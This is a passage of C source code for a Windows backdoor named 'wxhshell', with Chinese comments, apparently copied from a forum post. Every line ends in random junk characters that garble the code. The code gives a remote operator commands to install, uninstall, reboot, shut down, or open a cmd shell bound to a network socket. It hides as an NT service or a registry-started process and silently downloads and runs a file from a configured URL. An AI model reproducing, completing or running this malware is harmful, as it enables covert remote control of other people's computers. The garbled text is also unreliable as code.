  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x&vD,|V!  
  } -rlX<(pl)  
  else { vDvGT<d  
^W'[l al.  
    switch(cmd[0]) { o |iLBh$)  
  ulM&kw.4i  
  // 帮助 %/zZ~WIf  
  case '?': { xvl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N@)~j+Pz  
    break; 2N 4>  
  } :5J6rj;_  
  // 安装 3kY4V*9@-  
  case 'i': { >IjLFM+U  
    if(Install()) I9>*Yy5RNS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yRkMR$5&  
    else qTF>!o #\:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3PffQ,c[~  
    break; Z+(V \  
    } xltu g##  
  // 卸载 FG:BRS<m~  
  case 'r': { ppKCY4  
    if(Uninstall()) 1+($"$ZC&B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Beg5[4@  
    else *rT(dp!Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gw T,D.'Ut  
    break; V0i$"|F+ E  
    } wP"|$HN  
  // 显示 wxhshell 所在路径 F\bI6gj  
  case 'p': { GGtrH~zx  
    char svExeFile[MAX_PATH]; pSFWNWQ'B  
    strcpy(svExeFile,"\n\r"); caht4N{T  
      strcat(svExeFile,ExeFile); k)Wz b  
        send(wsh,svExeFile,strlen(svExeFile),0); F DX+  
    break; 2Zip8f!  
    } Iq \oB  
  // 重启 >~~\==".  
  case 'b': { B$EP'5@b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); or`stBx  
    if(Boot(REBOOT)) |'_<(z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [rU8 #4.  
    else { 89mre;v`  
    closesocket(wsh); )n@3@NV  
    ExitThread(0); q(^J7M)  
    } MGDv4cFE.  
    break; /GGu` f  
    } YU(*kC8   
  // 关机 o#/iR]3  
  case 'd': { sb.SpF>   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ifZNl,  
    if(Boot(SHUTDOWN)) Ypj)6d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,$$$_+m\  
    else { }4%)m  
    closesocket(wsh); \}NWR{=  
    ExitThread(0); I=a$1%BzEX  
    } }* JMc+!9@  
    break; a=VT|CX[  
    } 0u2uYiE-l  
  // 获取shell S\gP=.G  
  case 's': { *wcoDQ b;  
    CmdShell(wsh); 4+,Z'J%\[7  
    closesocket(wsh); T]-~?;Jh8  
    ExitThread(0); Fg_s'G,`  
    break; *PU,Rc()6  
  } w[YbL2p  
  // 退出 ygt)7f5  
  case 'x': { >]8.xkQq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UROi.976D  
    CloseIt(wsh); q.{/{9  
    break; 'fFdqsXr  
    } +Q0-jS#d  
  // 离开 S'p`ECfVMA  
  case 'q': { KBA%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @A'1D@f#  
    closesocket(wsh); \ZZy`/~z*7  
    WSACleanup(); @$Kq<P  
    exit(1); o{W]mr3D  
    break; ,s&~U<Z  
        } SJ^?D8  
  } iDc|9"|Tf3  
  } <OSvRWP)  
1[9j`~[([  
  // 提示信息 CT%m_lN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [:@?,?V\N  
} <W') ~o}  
  } "m;]6B."  
%v:h]TA  
  return; K/ m)f#  
} u@u.N2H.%  
)uuEOF"w  
// shell模块句柄 chzR4"WZFt  
int CmdShell(SOCKET sock) D-:<]D:  
{ 0.+eF }'H  
STARTUPINFO si; 5THS5'  
ZeroMemory(&si,sizeof(si)); B/kn&^z$|~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K(fLqXE%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g_c)Ts(  
PROCESS_INFORMATION ProcessInfo; bv>lm56  
char cmdline[]="cmd"; jZ,[{Z(N   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F>(#Af9  
  return 0; BG0M j2  
} ]pTw]SK  
U*"cf>dB(  
// 自身启动模式 vD9D:vK  
int StartFromService(void) 05I39/T%  
{ A=]F_  
typedef struct 7qK0!fk5  
{ k|Yv8+XT  
  DWORD ExitStatus; f.)F8!!  
  DWORD PebBaseAddress; Cy:`pYxhd  
  DWORD AffinityMask; @Qjl`SL%O^  
  DWORD BasePriority; slvs oN@  
  ULONG UniqueProcessId; e - ]c  
  ULONG InheritedFromUniqueProcessId; &dDI*v+  
}   PROCESS_BASIC_INFORMATION; _Ge^ -7  
5=h'!|iY  
PROCNTQSIP NtQueryInformationProcess; 1$D`Z/N"A  
;s. 5\YZ"k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q1\k`J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $"{3yLg  
;VlZd*M?  
  HANDLE             hProcess; lc?mKW9  
  PROCESS_BASIC_INFORMATION pbi; 'Mx K}9  
X+E\]X2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D6)Cjc>a  
  if(NULL == hInst ) return 0; S*m`'  
^~<Rzq!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n!eqzr{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [aZ v?Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); & Yf#O*  
\i;&@Kp.N  
  if (!NtQueryInformationProcess) return 0; j[J@tM#  
]{2{:`s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q] yT  
  if(!hProcess) return 0; C6V&R1"s  
0"qim0%|DF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /\a]S:V-j  
)cqDvH  
  CloseHandle(hProcess); 2]aZe4H.  
x+y!P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j YIV^o 0  
if(hProcess==NULL) return 0; fqk Dk  
h?3,B0G  
HMODULE hMod; Lr?4Y  
char procName[255]; t-7[Mk9@  
unsigned long cbNeeded; eMl]td rI  
^c0$pqZ}r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y.*=Ww+  
kuj1 2  
  CloseHandle(hProcess); KjwY'aYwr:  
%][$y 7  
if(strstr(procName,"services")) return 1; // 以服务启动 [X">vaa  
1u"*09yZd  
  return 0; // 注册表启动 2~&hstd%  
} /q"d`!h)w  
sE%<"h\_0  
// 主模块 }L$Xb2^l  
int StartWxhshell(LPSTR lpCmdLine) 0fPHh>u  
{ `f 6)Q`n  
  SOCKET wsl; Q),3&4pM  
BOOL val=TRUE; s\Pt,I@Y_  
  int port=0; !(]dz~sM  
  struct sockaddr_in door; g#'fd/?Q  
FSU%?PxO  
  if(wscfg.ws_autoins) Install(); 0ve`  
a?,[w'7FU  
port=atoi(lpCmdLine); Y=:KM~2hv  
o!=l B fI  
if(port<=0) port=wscfg.ws_port; /y9J)lx  
i2FD1*=/?  
  WSADATA data; q1TW?\pjb:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P"bknXL  
m/<F 5R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :(l $^ M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O\4+_y  
  door.sin_family = AF_INET; ?bt`fzX{l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5rfH;`  
  door.sin_port = htons(port); ne"?90~  
NlF0\+h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rW FcIh5  
closesocket(wsl); {7=WU4$  
return 1; 'ybth  
} Ev+HWx~Y  
wTlK4R#  
  if(listen(wsl,2) == INVALID_SOCKET) { (zs4#ja2,  
closesocket(wsl); bCA2ik  
return 1; Xb=2/\}|f  
} _)zmIB(}m  
  Wxhshell(wsl); S$jV|xK B  
  WSACleanup(); <}EV*`w4  
B?;' lDz*  
return 0; -Wlp=#9  
]>)u+|  
} <'}b*wUB  
p<=(GY-  
// 以NT服务方式启动 v@fe-T&0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O}K_l1  
{ -t@y\vZF,  
DWORD   status = 0; b W=.K>|  
  DWORD   specificError = 0xfffffff; 3!.H^v?  
't|Un G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .~.``a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pHen>BA[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }XX~ W}M(\  
  serviceStatus.dwWin32ExitCode     = 0; 4d^ \l!  
  serviceStatus.dwServiceSpecificExitCode = 0; Nm6Z|0S  
  serviceStatus.dwCheckPoint       = 0; SZ5O89  
  serviceStatus.dwWaitHint       = 0; aNE9LAms  
PPoI>J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G$;] ?g  
  if (hServiceStatusHandle==0) return; M5GY>3P$c  
f0 uUbJ5  
status = GetLastError(); eVw\v#gd  
  if (status!=NO_ERROR) [j)\v^m  
{ .M9d*qp`S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }+9 1s'/c  
    serviceStatus.dwCheckPoint       = 0; w4e%-Ln  
    serviceStatus.dwWaitHint       = 0; bA@ /B'  
    serviceStatus.dwWin32ExitCode     = status; H96BqNoO  
    serviceStatus.dwServiceSpecificExitCode = specificError; V~(EVF{h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gn bfy4Z  
    return; ]d@^i)2LF  
  } f^W[; w  
E?30J3S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1Pk mg%+  
  serviceStatus.dwCheckPoint       = 0; iNod</+"K  
  serviceStatus.dwWaitHint       = 0; << 3 a<I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }P<Qz^sr_  
} 1~}m.ER  
yZYK wKG  
// 处理NT服务事件,比如:启动、停止 Ps U9R#HL1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R K"&l!o  
{ };&HhBc!g  
switch(fdwControl) p91`<>Iw  
{ |@ikx{W  
case SERVICE_CONTROL_STOP: V bg10pV0  
  serviceStatus.dwWin32ExitCode = 0; q} ]'Q -  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j/)"QiS*?  
  serviceStatus.dwCheckPoint   = 0; /> ^@ O  
  serviceStatus.dwWaitHint     = 0; Yim{U:F  
  { J=I:T2bV&s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WnD^F>  
  } @S`$C  
  return; m7$8k@r  
case SERVICE_CONTROL_PAUSE: A2m_q>> !  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^"3\iA:  
  break; iO!27y  
case SERVICE_CONTROL_CONTINUE: tIq>Oojdx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *)limqe3"$  
  break; ?h/xAl  
case SERVICE_CONTROL_INTERROGATE: e8$l0gzaD  
  break; q=|R89  
}; H@V 7!d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sK+ (v  
} *_`76`cz%X  
&^ V~cJ  
// 标准应用程序主函数 P @zz"~f7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  }10\K  
{ ,Pn-ZF  
(2UW_l  
// 获取操作系统版本 z0#-)AeS  
OsIsNt=GetOsVer(); HbcOTd)=5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fJaubDxa  
J.#(gFBBl\  
  // 从命令行安装 ]b3/Es+  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,eR8 ~(`=  
6SE6AL<b  
  // 下载执行文件 led))qd@V-  
if(wscfg.ws_downexe) { z"tjDP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j5PL{6  
  WinExec(wscfg.ws_filenam,SW_HIDE); >D 97c|?c  
} <"W?<VjO  
YRPm^kW  
if(!OsIsNt) { 7 _`L$<-n  
// 如果时win9x,隐藏进程并且设置为注册表启动 J , V  
HideProc(); W+_RhJ  
StartWxhshell(lpCmdLine); `>s7M.|X  
} M :V2a<!c  
else q#MM  
  if(StartFromService()) !lAD q|$  
  // 以服务方式启动 _2b9QP p  
  StartServiceCtrlDispatcher(DispatchTable); zbNA \.y  
else dm6~  
  // 普通方式启动 eqq`TT#Z  
  StartWxhshell(lpCmdLine); *l{yW"Su  
F!J J6d53y  
return 0; BPqk "HG]T  
}
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只看该作者 1 发表于: 2006-10-10
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